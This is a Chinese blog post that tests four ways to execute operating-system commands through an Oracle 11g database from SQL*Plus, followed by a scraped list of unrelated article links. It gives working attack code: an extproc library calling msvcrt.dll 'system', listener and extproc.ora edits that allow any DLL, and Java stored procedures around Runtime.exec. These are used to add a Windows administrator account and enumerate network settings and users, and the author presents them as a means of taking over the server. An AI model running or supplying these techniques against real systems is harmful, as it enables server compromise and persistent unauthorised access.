网络上找到的在sqlplus中执行cmd的一些命令,主要有四种方法,这边都做了一下测试,这里做一下记录:

测试环境:window2003+Oracle 11.2.0.1.0

第一种方法:

最简单的执行cmd命令方法,但执行的本机的cmd命令,非数据库系统的cmd命令,故和本机打开cmd命令一样,貌似没什么用。

C:\wmpub>sqlplus system/QWEasd123@testdb

SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016

Copyright (c) 1982, 2010, Oracle.  All rights reserved.

连接到:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL> host net user \\TEST1 的用户帐户 -------------------------------------------------------------------------------
Administrator Guest SUPPORT_388945a0
命令成功完成。

第二种方法:

利用msvcrt.dll

1、新建一个oracle.sql文件,保存如下内容:

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

2、执行oracle.sql,进一步执行cmd命令,然而却报错,默认安装情况下,用这种方法应该是没办法执行成功的,如果有高手成功的话,方便告知一下。

SQL> @oracle.sql

库已创建。

没有错误。

程序包已创建。

没有错误。

程序包体已创建。

没有错误。
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
BEGIN oracmd.exec ('dir > c:\oracle.txt'); END; *
第 行出现错误:
ORA-: Extproc 代理: DLL 路径无效
ORA-: 在 "SYSTEM.ORACMD", line
ORA-: 在 line

3、修改oracle配置

在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora

# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.\dbhome_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools. SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = CLRExtProc)
(ORACLE_HOME = C:\app\Administrator\product\11.2.\dbhome_1)
(PROGRAM = extproc)
(ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll")
)
(SID_DESC =
(GLOBAL_DBNAME = testdb)
(ORACLE_HOME = C:\app\Administrator\product\11.2.\dbhome_1)
(SID_NAME = testdb)
)
)

修改ENVS,为ANY

   (SID_DESC =
(SID_NAME = CLRExtProc)
(ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
(PROGRAM = extproc)
(ENVS = "EXTPROC_DLLS=ANY")
)

在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora

将最后一行

SET EXTPROC_DLLS=

改为

SET EXTPROC_DLLS=ANY

4、重新执行

SQL> exec oracmd.exec ('net user xiaozi xiaozi /add');

PL/SQL 过程已成功完成。

这时候命令已成功执行,这招可以用来创建数据库服务器管理员账号密码以及进一步操作,然而默认配置执行不成功实在蛋疼,除非哪个谁已经改了。

第三种:

新建1.sql

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

新建2.sql

create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

新建3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;

登陆上去后依旧是依次执行

SQL> @1.sql
35 / Java 已创建。 SQL> @2.sql
6 / 函数已创建。 SQL> @3.sql
7 / 过程已创建。 SQL>
SQL> variable x number;
SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000);
SQL> grant javasyspriv to system; PL/SQL 过程已成功完成。 SQL> exec :x:=run_cmd('ipconfig'); Windows IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 过程已成功完成。

本机测试成功,拿到oracle账号,提升至dba权限,可以考虑使用这种方法拿下服务器。

下面整成一个sql文件,只需执行一步,即可获取数据库ip和管理员列表

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -;
try
{
Process p = rt.exec(args);
int bufSize = ;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, , bufSize)) != -)
System.out.write(buffer, , len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -;
}
finally
{
return RC;
}
}
}
/ create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer'; /
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/ variable x number;
set serveroutput on;
exec dbms_java.set_output();
grant javasyspriv to system;
exec :x:=run_cmd('ipconfig');
exec :x:=run_cmd('net1 user');

登陆进去执行执行脚本

SQL> @java.sql

Java 已创建。

函数已创建。

过程已创建。

PL/SQL 过程已成功完成。

授权成功。

Windows IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 过程已成功完成。 User accounts for \\
-------------------------------------------------------------------------------
Administrator Guest SUPPORT_388945a0
xiaozi123
The command completed with one or more errors. PL/SQL 过程已成功完成。

第四种:

通过Java运行OS命令

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c net user xiaozi 123 /add');
exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');

账号创建成功,如下图:

不同的方法需要不同的权限要求,dba权限下,无视。

第三第四种方法需要有javasyspriv才能正确执行

SQL> grant javasyspriv to scott;

SQL> revoke javasyspriv from scott;

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

参考文章:

ORACLE提权:http://blog.csdn.net/heiyoubei513/article/details/4009377

Oracle 10g版本SCOTT用户提升DBA权限实战图文:http://niuzu.blog.51cto.com/3006825/607657/

oracle执行cmd的实现方法的更多相关文章

  1. C# 执行CMD命令的方法

    /// <summary> /// 执行CMD命令 /// </summary> /// <param name="str"></para ...

  2. oracle 执行计划的获取方法

    1.用explain plan for来获取执行计划 explain plan for <sql>; select * from table(dbms_xplan.display()); ...

  3. 如何使用Java执行cmd命令

    用JAVA代码实现执行CMD命令的方法! Runtime rt = Runtime.getRuntime(); Process p = rt.exec(String[] cmdarray);     ...

  4. oracle执行先决条件检查失败的解决方法

    在安装oracle 11g时,出现执行先决条件失败的情况如下: 你可以忽略所有强制安装,一般不会影响功能,但如果你想知道为什么会产生这种错误, 并且当出现以上情况时又该如何解决呢?如下列出了原因和解决 ...

  5. 查看Oracle执行计划的几种方法

    查看Oracle执行计划的几种方法 一.通过PL/SQL Dev工具 1.直接File->New->Explain Plan Window,在窗口中执行sql可以查看计划结果.其中,Cos ...

  6. Oracle 执行报错表空间或临时表空间不足,降低水位线方法

    Oracle 执行语句插入临时表报表空间不足,在增加表空间到最大后依然报错,经分析应该为创建的临时表水位线未清除导致,查询降低水位线方法如下: 原文地址:http://blog.itpub.net/2 ...

  7. C#执行CMD命令并接收返回结果的实现方法

    using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; using ...

  8. node执行cmd命令方法

    var cmd='tasklist';//获取 子进程模块的exec方法,用于执行cmd命令var exec = require('child_process').exec; //运行 定义的cmd命 ...

  9. oracle服务丢失的处理方法之OracleServiceORCL不存在示例

    oracle服务是oracle数据库的重要组成部分,下面就教您oracle服务丢失的处理方法,如果您之前遇到过oracle服务丢失的问题,不妨一看. 今天发现数据库服务器上的所有oracle服务都丢失 ...

随机推荐

  1. BPM业务流程管理与SAP如何更好集成整合?

    深圳市有方科技有限公司是一家专注于M2M物联网无线通信产品和服务的国家级高新技术企业.有方科技专注于无线应用需求的挖掘和实现,拥有产品规划.工业设计.结构.硬件.软件.测试.ID.物流等完整的研发及设 ...

  2. http post和put区别

    POST是用来提交数据的.提交的数据放在HTTP请求的正文里,目的在于提交数据并用于服务器端的存储,而不允许用户过多的更改相应数据(主要是相对于在url 修改要麻烦很多).PUT操作是幂等的.所谓幂等 ...

  3. 使用git删除远程仓库文件

    git rm -r -f --cached 文件或文件夹 git commit -m "移除文件或文件夹" git push origin master 注意:要删除的文件或文件夹 ...

  4. Console命令详解,让调试js代码变得更简单

    Firebug是网页开发的利器,能够极大地提升工作效率. 但是,它不太容易上手.我曾经翻译过一篇<Firebug入门指南>,介绍了一些基本用法.今天,继续介绍它的高级用法. ======= ...

  5. 用ant组建测试框架

    有时候由于公司网络或其它原因,无法采用maven,这时ant是一个比较理想的选择.以下是以ant为例,搭建一个测试框架 项目结构如下图: build.properties代码如下: # The sou ...

  6. Unity3D之C# yield waitforseconds

    Wait for seconds requires a couple things in order to work properly and chances are if it's not work ...

  7. 会游走的TextView

    //自定义的TextView package com.bwie.androidtest; import android.content.Context; import android.graphics ...

  8. String Date Calendar之间的转换

    1.Calendar 转化 String Calendar calendat = Calendar.getInstance(); SimpleDateFormat sdf = new SimpleDa ...

  9. testlink安装

    今天安装了一下testlink,完全按照高峻博客里的做法,最后安装成功了 遇到的问题: 问题表现: 新安装TestLink,登录Testlink后,新建一个项目后,会出现如下提示: There are ...

  10. sql server 2012提示:评估期已过 的解决办法 附序列号

    sql server 2012提示评估期已过的解决方法: 第一步:进入SQL2012配置工具中的安装中心. 第二步:再进入左侧维护选项界面,然后选择选择版本升级. 第三步:进入输入产品密钥界面,输入相 ...